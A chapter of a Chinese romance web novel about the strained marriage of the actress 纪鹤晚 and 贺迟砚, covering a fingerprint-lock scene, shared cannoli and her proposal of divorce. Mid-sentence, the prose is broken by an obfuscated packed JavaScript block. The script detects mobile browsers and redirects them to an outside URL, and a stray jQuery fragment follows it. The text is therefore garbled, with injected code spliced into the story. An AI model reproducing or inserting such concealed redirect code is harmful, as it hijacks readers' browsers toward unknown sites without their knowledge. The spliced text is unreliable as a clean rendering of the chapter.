车外狂风骤起,席卷起挂在树上苟延残喘的枯叶,击向路上正忙着撩头发、捂衣服的毫无防备的行人,而车内一片祥和安宁,好像不会被世界任何风雨侵扰。但贺迟砚并不想要这样的平和。
纪鹤晚始终没有回应,只是沉默地看向窗外不知什么地方,不知道是因为没有听见,还是只是单纯的不想回应。贺迟砚也没有再追问,他收回不知飘到哪里的思绪,压下心中不该有的波动,同样沉默着带着他的妻子回家。
一路上,他的妻子都没有说话,“乖巧”地跟在他身后,但她的影子没有那么听话,张牙舞爪的,一会儿举起小拳头想要锤爆他的脑袋,一会儿又举起一把枪想要来个一弹穿心。
他故意放慢脚步,想看看她还有什么花招,但她的影子突然安静下来。他能感受到落在自己背后的目光,轻柔的,像是透过白色纱帘洒下的月光。
过了一会儿,她垂在身侧的手才缓慢地抬了起来,带着小心翼翼的试探,隔空,碰了碰他紧贴在大腿上的手。没有真实的接触,但他却仿佛感受到了手背上触感,温软的,像是羽毛轻柔划过,带来的微痒幻觉是——心动。
回家的路不长,再怎么放慢脚步,此刻还是走到了家门口。她早已收敛动作,好似什么都没有发生过。贺迟砚不由抿唇,眼底浮起一丝笑意,溢出一声几不可闻的笑。
他站在门前却没有立马开门,而是朝纪鹤晚摊开手掌,“手给我。”他并没有回头。怕看见她的眼睛,会控制不住将深压在心底的秘密通通吐露,怕还没有开口眼泪就先行落下……怕她会害怕、会嫌弃、会……逃离。
他总是不明白,为什么一想起她,一看见她,就有种控制不住想要哭泣的冲动。他明明应该笑才对啊……
人啊,还真是奇怪。
纪鹤晚正在懊恼刚刚自己鬼使神差的幼稚举动。她实在不明白,她为什么要像个窃贼一样,偷偷摸摸地用影子去碰贺迟砚的手,甚至嘴角还不受控制地往上扬?
难道她已经失了理智,变成了一个犯花痴的颜控了吗?
听见贺迟砚的话,她迷糊的脑子连半秒思索、犹豫都没有,直接把手放在了贺迟砚的手心。掌心相对,几乎是下意识的,她握了上去,感受到贺迟砚不可置信的瑟缩时,她才猛然松开,绷直了手指,讪讪一笑,“拍戏习惯了,不好意思啊。”
和丈夫握个手,还毕恭毕敬道歉的妻子,她肯定是开天辟地头一个。
“你…你直接开门不就是了,要我的手干嘛?”纪鹤晚故作轻松地问了一句。当然她不会说是为了缓解误牵贺迟砚手的尴尬。
“录指纹。”贺迟砚言简意赅。
寂静的走廊里只有“嘀嘀”的声音,一下一下敲在纪鹤晚紧绷的神经上。她和贺迟砚的距离很近,近到她刻意放缓的呼吸足以吹拂起他鬓边的发,近到她可以清楚看见他微微颤栗的墨黑睫毛。
心是一片沉寂,像是陷入了深不见底的海域。
“你……以后不来接我了吗?”她问,声音很轻。
“你想我接你吗?”贺迟砚反问一句。冰冷的密码锁上映着他深沉的眼眸,以及其中飞速掠过的点点期待。
“……那有人来接,谁不乐意。”纪鹤晚含糊嘟囔一句。就是变相的肯定答案了。
贺迟砚就像溺水的人突然挣出水面一般,久违的清晰空气瞬间抚慰了原本隐隐作痛的心脏,不敢奢望的期待化成他脸上清晰可见的笑意。
“只要你愿意我当然每天都会去接你回家。只是你身为女主人,家里没有你的指纹密码有点说不过去吧?”他低着头,说话的声音有点闷,遮掩住了他话语里本就不易被人察觉的愉悦。
宛若晴天一道惊雷,劈碎了纪鹤晚的三观。一圈问号盘旋在她的头顶。
“女主人”?贺迟砚这家伙是怎么脸不红心不跳地胡说八道的?难道他是真的入戏太深了?还是说他已经尽职到,连带监控摄像头都当做外人了?
贺迟砚的心在话落地的瞬间跳了一下,而后又沉了下去。这话不应该是她眼中的他应该说出口的。
他悄悄往后瞟了一眼,她果然是一副犹如被雷劈了一样的呆若木鸡的匪夷所思,水汪汪的大眼睛里满是不可置信。
他紧张地抿了抿唇,喉结不自觉地滚动一下,侧身让开一步,“好了,开门吧。”
纪鹤晚恍然回神,顺着贺迟砚新起的话题,将那牵动她心的胡语抛之脑后。
“有必要这么麻烦嘛,你自己顺便开开不就是了?”她嘴上在吐槽,但还是把被贺迟砚握得有些发烫的食指按了上去。
“叮”的一声轻响,门开了。
夜色浓稠如墨,酝酿了许久的大雨终于在两人踏入温暖宁静的家中时落了下来,豆大的雨点噼里啪啦地敲打着窗户,瞬间模糊了外面的世界。一时间整个世界好像都只剩下他们两人。
纪鹤晚拎了一路的卡诺利早就按捺不住肚里的馋虫,甚至都等不及坐在沙发上,直接半跪在地毯上,迫不及待但又小心翼翼地打开包装袋。
这虔诚的姿态看得贺迟砚是啼笑皆非。他坐到纪鹤晚身边,把将倒的一杯热水放在她面前,不会被她碰倒的地方。又喝了一大口水,润了润因为紧张而干涸的喉咙,试探询问:“心情有好一些吗?”
“我心情本来就挺好的啊!”纪鹤晚捻起一个卡诺利丢进口中,眯着眼睛乐滋滋地嚼着,不时还发出心满意足的、惬意的哼唧声。
贺迟砚看着,不备就入了迷,忘了搭话,只是宠溺地笑看着他可爱的妻子。时间在这一瞬间流动得极为缓慢,因为他的脑海在不断播放这个画面。
在纪鹤晚睁眼时,他立刻端起手中的杯子遮掩眼中不能被她窥见一丝一毫的柔情。由于做贼心虚,他的表情不是一般的僵硬,就连语调也冷了几分:“不早了,吃完之后就早点休息。明天我送你。”
他站起身,走了几步又回过头,正巧逮住纪鹤晚拿着卡诺利对着他的背影戳来戳去,粉唇张张合合,不知道又在喋喋不休地骂他些什么。
她显然没有预料到他会回头,就这样愣住了,好几秒之后才反应过来,没有一点被发现的尴尬,而是若无其事地收回手,绽开一个明艳动人的笑容,眨巴着水灵灵的无辜的大眼睛,歪头问他:“还有事吗?”
她果然是名副其实的影后。
贺迟砚静静站立于灯照拂不清的阴影里,眼中的深沉夜色尽数褪去,只剩下如水般的,足以让人溺亡其中的柔情,僵直的唇缓缓扬起一个显而易见的笑,满足而又幸福。
柔情不过一秒,那扬起的唇角便凝滞了,随即扯起一侧,化作一个苦涩的弧度,带着点点冰冷的嘲讽——那是对他自己不自量力的嘲讽。也只有隔着这样不算亲近的距离,他才敢坦然展示出真实的自己,却也不大方,只敢把手藏在口袋里,只敢摩挲着无名指上温暖的戒指。这是她给他的唯一一件礼物。
跪得膝盖有点痛,纪鹤晚站起身,揉了揉膝盖,盘腿坐在沙发上,奇怪地看向转身但是一言不发的贺迟砚,他站在光照不到的地方,又低着头,她看不清他的表情,但总感觉他浑身散发的气压很怪异,低不低,高不高的,说不上开心,也说不上悲伤。就是他这么孤零零的站在那儿,看上去莫名有点可怜。
同情心又肆无忌惮地泛滥开了。纪鹤晚的心霎时软了一块,她举
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448373|185201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起一个卡诺利,扬起笑容,“你要再吃点吗?这有点太多了,我吃不了这么多,不然肚子又要痛了。但是放到明天的话就不好吃了,贺总要不要大发慈悲帮帮忙?”
明亮灯光下是她的笑靥,犹如在初春盛放的玫瑰,灿烂而明艳。但贺迟砚看得清楚,她如月的眉眼夹杂着一丝清冽,那是隐藏不了的疏离。
“放那里吧。”
随着贺迟砚冷淡声音一起响起的是轻快的手机提示音,纪鹤晚拿起倒扣在茶几上的手机。短短几句话,不知道为什么每一个字都刺眼得很。她甩下手机,原本明艳的笑容瞬间湮灭,把手中无辜的卡诺利扔进口中愤愤地嚼着。
果然同情心就不能太过泛滥!
热脸贴冷屁股!她真是闲的!
她又捻起两个塞进嘴里,势要化悲愤为食欲,管他吃不吃,一个都不给他留!
贺迟砚看着像小孩子发脾气的人儿,嘴角溢出无奈的笑来,心中那一点点的不舒服此刻早已灰飞烟灭,“不是乳糖不耐受了,又不怕肚子疼了?”
“要你管!”纪鹤晚双手抱胸,恶狠狠地瞪着这站着说话不腰疼的讨厌鬼,肆无忌惮地发泄自己积压已久的怒气,“这又没有外人,贺总不用再演什么体贴关心的戏码!你演得累,我看得也累!你的那些事我懒得计较,我还是那一个要求,希望贺总不要太过肆无忌惮,在我们这段短暂的婚姻关系存续期间,不要让我脸面上过不去,否则我也不知道我会在贺总尊贵的脸面上画些什么东西!”
她小嘴叭叭的,说得太快,贺迟砚还没有听明白,只看见她已经怒气冲冲地站起身,赤脚疾步走到玄关处,从包里掏出什么东西,又带着肃杀的寒意走到他面前,把手中的东西往他怀中一摔,双手抱胸,扬起下巴。
“第十条还请贺总好好看看,如果确定能做到的话,就把这协议签了,之前的事我大人大量,既往不咎。如果不能,”纪鹤晚的语气和眼神一起冷了下来,“我们就离婚。”
“离婚”两个字她说得特别重。
贺迟砚瞬间想到了她发给沐施然的那条信息,展开那冰冷纸张的手僵硬了,控制不住地颤抖起来,鼻间升起的酸涩直冲眼眶。好像突然又堕入深海,冰凉刺骨的咸苦灌进他的眼睛、鼻子、嘴巴、耳朵……刺入跳动的心脏。
原来他从来都没有彻底挣脱,只是一直在悬崖边上徘徊。
他暗暗咬牙,不知道自己是怎么挤出的笑,也不知道她是什么表情,视线是模糊的,连耳朵听的声音都不清晰。她不耐烦地让他快点回答,可是,他不敢张口,怕真的被海水吞噬埋葬。他总是在劝慰自己,他还能再挣扎一会儿。
纪鹤晚最后一丝耐心也彻底耗尽,手指不停地在胳膊上敲击着。她实在不明白贺迟砚这脑子到底在想什么,他既然喜欢季昭乐,当初直接和她结婚不就好了?何必把她这无辜的美人扯进这泥潭当中?她对于拆人姻缘的事可一点都不感兴趣!如果他娶了季昭乐,不说永远,起码现在他们会是一对恩爱夫妻,不像和她,彻彻底底的怨偶一对。
她向来不喜欢太过复杂麻烦的事,但是她和贺迟砚之间的弯弯绕绕,简直想起来就能让她一千个脑细胞都死翘翘。管是亡羊补牢,还是迷途知返,现在都还来得及。反正按照她哥好强的性子,应该不会捡贺家一点便宜。她吃的亏,她也就不计较了,就当便宜贺迟砚了。
“说真的,贺迟砚,你既然有喜欢的人了,我们就离婚吧。我会真心地祝福你们的,真的!”
她的眼睛从来都没有这么认真、诚恳过。
她是真心的,不是一怒之下不过脑子的气话。
她真的想和他离婚……